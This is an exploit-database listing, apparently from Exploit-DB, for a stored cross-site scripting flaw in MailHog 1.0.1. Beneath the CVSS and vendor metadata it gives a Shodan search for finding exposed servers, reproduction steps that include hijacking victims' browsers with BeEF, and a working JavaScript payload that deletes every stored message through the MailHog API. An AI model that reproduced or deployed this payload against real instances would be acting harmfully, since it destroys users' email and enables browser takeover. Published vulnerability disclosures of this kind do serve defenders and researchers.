header-logo
Suggest Exploit
vendor:
MailHog
by:
Vulnz
8.8
CVSS
HIGH
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: MailHog
Affected Version From: 1.0.1
Affected Version To: 1.0.1
Patch Exists: NO
Related CWE:
CPE: a:mailhog:mailhog:1.0.1
Metasploit:
Other Scripts:
Platforms Tested: Windows,Linux,Docker
2022

Mailhog 1.0.1 – Stored Cross-Site Scripting (XSS)

Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.

Mitigation:

Implement proper input validation and authentication checks for API calls.
Source

Exploit-DB raw data:

# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including  email deletion, sending, reading or any other call.

Steps to reproduce:
   1.   Create malicious attachment with payloads stated below
   2.   Attach malicious file to email with payload (XSS)
   3.   Send email
   4.   Wait for victim to open email
   5.   Receive data, get control of victim browser using Beef framework, or manipulate with API data


Proof of Concept:

<script>

var XMLHttpFactories = [

function () {

    return new XMLHttpRequest()

},

function () {

    return new ActiveXObject("Msxml2.XMLHTTP")

},

function () {

    return new ActiveXObject("Msxml3.XMLHTTP")

},

function () {

    return new ActiveXObject("Microsoft.XMLHTTP")

}

];

function createXMLHTTPObject() {

    var xmlhttp = false;

    for (var i=0;i<XMLHttpFactories.length;i++) {

        try {

            xmlhttp = XMLHttpFactories[i]();

        }

        catch (e) {

            continue;

        }

        break;

    }

    return xmlhttp;

}

var xhr = createXMLHTTPObject();

xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);

xhr.onreadystatechange = function()

{

    if (xhr.readyState == 4)

        alert("Request completed, with the following status code: " +
xhr.status);

}

xhr.send("");

</script>